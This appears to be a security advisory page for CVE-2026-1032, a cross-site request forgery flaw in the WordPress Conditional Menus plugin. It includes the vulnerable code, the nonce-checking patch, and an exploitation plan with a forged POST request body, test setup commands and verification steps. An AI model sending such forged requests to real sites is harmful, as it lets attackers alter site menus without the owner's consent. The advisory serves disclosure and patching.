CVE-2026-1032

Conditional Menus <= 1.2.6 - Cross-Site Request Forgery to Menu Options Update

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.2.7
Patched in
2d
Time to patch

Description

The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.6. This is due to missing nonce validation on the 'save_options' function. This makes it possible for unauthenticated attackers to modify conditional menu assignments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.6
PublishedMarch 25, 2026
Last updatedMarch 26, 2026
Affected pluginconditional-menus

What Changed in the Fix

Changes introduced in v1.2.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1032 ## 1. Vulnerability Summary The **Conditional Menus** plugin (<= 1.2.6) for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists in the `Themify_Conditional_Menus::save_options` function. This function is responsible …

Show full research plan

Exploitation Research Plan: CVE-2026-1032

1. Vulnerability Summary

The Conditional Menus plugin (<= 1.2.6) for WordPress is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the Themify_Conditional_Menus::save_options function. This function is responsible for saving conditional menu assignments but fails to perform any nonce validation (check_admin_referer or wp_verify_nonce). An attacker can trick a logged-in administrator into submitting a crafted POST request to modify which menus are displayed on specific pages of the site, effectively allowing unauthorized content manipulation or site defacement.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/nav-menus.php?action=locations
  • HTTP Method: POST
  • Authentication Level: Administrator (via CSRF)
  • Vulnerable Action: The save_options() method is triggered via the load-nav-menus.php hook when the action GET parameter is set to locations.
  • Payload Parameters:
    • menu-locations[<location_slug>]: Required to pass the initial isset check in save_options.
    • themify_cm[<location_slug>][<index>][menu]: The ID of the replacement menu.
    • themify_cm[<location_slug>][<index>][condition]: A URL-encoded string representing display conditions (e.g., general[home]=on).

3. Code Flow

  1. Hook Registration (init.php):
    The plugin registers the setup method during plugins_loaded.
    add_action( 'load-nav-menus.php', array( $this, 'init' ) );
    
  2. Initialization (init.php):
    When an admin visits the "Manage Locations" tab in Menus (nav-menus.php?action=locations), the init method is called.
    public function init() {
        if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {
            $this->save_options(); // This is called on every load of this page if action=locations
            // ...
        }
    }
    
  3. Vulnerable Sink (init.php):
    The save_options() method processes POST data directly.
    public function save_options() {
        if( isset( $_POST['menu-locations'] ) ) {
            // VULNERABILITY: No check_admin_referer() or wp_verify_nonce() here.
            // Processes $_POST['themify_cm'] and saves via set_theme_mod.
        }
    }
    

4. Nonce Acquisition Strategy

No nonce is required. The vulnerability is defined by the absolute absence of nonce validation in the save_options function. Although WordPress core uses nonces on the nav-menus.php page, the plugin's save_options function executes independently of the core's nonce check when it detects its own parameters in a POST request to that URL.

5. Exploitation Strategy

The goal is to use CSRF to assign a different menu to the "Home" page.

Step-by-Step Plan:

  1. Identify IDs: Identify a target menu ID (the "malicious" menu) and the theme's navigation location slug (e.g., primary or main).
  2. Construct Payload: Create a POST request that mimics the plugin's data structure.
  3. Trigger CSRF: Send the request to the target site using the administrator's session.

Technical Request (via http_request):

  • URL: https://<target-domain>/wp-admin/nav-menus.php?action=locations
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    menu-locations[primary]=1&themify_cm[primary][1][menu]=2&themify_cm[primary][1][condition]=general[home]=on
    
    (Where primary is the location, 1 is the default menu ID, and 2 is the replacement menu ID to be shown on the home page).

6. Test Data Setup

  1. Create Menus:
    # Create two menus
    wp menu create "Original Menu"
    wp menu create "Evil Menu"
    
    # Assign "Original Menu" to the primary location
    wp menu location assign original-menu primary
    
  2. Identify IDs:
    # Get the ID of the "Evil Menu"
    EVIL_MENU_ID=$(wp menu list --fields=term_id,name | grep "Evil Menu" | awk '{print $1}')
    # Get the ID of the "Original Menu"
    ORIG_MENU_ID=$(wp menu list --fields=term_id,name | grep "Original Menu" | awk '{print $1}')
    

7. Expected Results

  • The HTTP response from nav-menus.php will likely be a 200 OK or a 302 Redirect.
  • The WordPress database will be updated with a new theme_mod named themify_conditional_menus.
  • When visiting the homepage, the "Evil Menu" will be displayed instead of the "Original Menu".

8. Verification Steps

After the exploit, verify the changes using WP-CLI:

# Check the conditional menu settings stored in theme_mods
wp eval "print_r(get_theme_mod('themify_conditional_menus'));"

Successful Output Example:

Array (
    [primary] => Array (
        [1] => Array (
            [menu] => 2  // The EVIL_MENU_ID
            [condition] => general[home]=on
        )
    )
)

9. Alternative Approaches

If the primary location slug is different, we can iterate through standard WordPress location slugs (main, primary, header-menu, top-menu). If the site uses a specific theme like Twenty Twenty-Four, the slug is often primary.

If nav-menus.php enforcement is somehow tighter, we could attempt to trigger the same save_options logic by calling admin-ajax.php if the plugin registered it there, but the source indicates it is strictly bound to load-nav-menus.php.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because it fails to perform nonce validation in its save_options function. An attacker can exploit this by tricking a logged-in administrator into clicking a link, which then submits a crafted POST request to modify menu assignments across the site.

Vulnerable Code

// init.php lines 183-195

public function init() {
    if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {
        $this->save_options();
        add_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) );
    }
}

public function save_options() {
    if( isset( $_POST['menu-locations'] ) ) {
        $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array();
        set_theme_mod( 'themify_conditional_menus', $themify_cm );
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/conditional-menus/1.2.6/init.php /home/deploy/wp-safety.org/data/plugin-versions/conditional-menus/1.2.7/init.php
--- /home/deploy/wp-safety.org/data/plugin-versions/conditional-menus/1.2.6/init.php	2025-02-25 00:56:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/conditional-menus/1.2.7/init.php	2026-02-17 20:29:36.000000000 +0000
@@ -181,14 +181,18 @@
 	}
 
 	public function init() {
-		if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {
+		if( ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) || isset( $_POST['menu-locations'] ) ) {
 			$this->save_options();
 			add_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) );
+			add_action( 'admin_footer', array( $this, 'output_nonce' ) );
 		}
 	}
 
 	public function save_options() {
 		if( isset( $_POST['menu-locations'] ) ) {
+			if ( ! isset( $_POST['themify_cm_nonce'] ) || ! wp_verify_nonce( $_POST['themify_cm_nonce'], 'themify_cm_nonce' ) ) {
+				return;
+			}
 		    $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array();
 		    set_theme_mod( 'themify_conditional_menus', $themify_cm );
 		}
@@ -200,9 +204,13 @@
 		die;
 	}
 
+	public function output_nonce() {
+		wp_nonce_field( 'themify_cm_nonce', 'themify_cm_nonce' );
+	}
+
 	public function admin_enqueue() {
 		global $_wp_registered_nav_menus;
-		$version='1.2.3';
+		$version='1.2.7';

Exploit Outline

The exploit targets the WordPress 'Manage Locations' menu page which triggers the plugin's menu saving logic. An attacker needs to trick a logged-in Administrator into visiting a page that executes a CSRF payload. 1. Target Endpoint: /wp-admin/nav-menus.php?action=locations 2. HTTP Method: POST 3. Authentication: Administrator privileges are required for the session being hijacked. 4. Payload Requirements: The payload must include the 'menu-locations[LOCATION_SLUG]' parameter to pass the initial existence check. The actual manipulation occurs via the 'themify_cm' parameter, which is a nested array. - Structure: themify_cm[LOCATION_SLUG][INDEX][menu]=NEW_MENU_ID - Structure: themify_cm[LOCATION_SLUG][INDEX][condition]=CONDITION_STRING (e.g., 'general[home]=on') 5. Execution: When the administrator's browser sends this POST request, the plugin updates the 'themify_conditional_menus' theme modification without verifying a nonce, resulting in the new menu being displayed on the specified page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.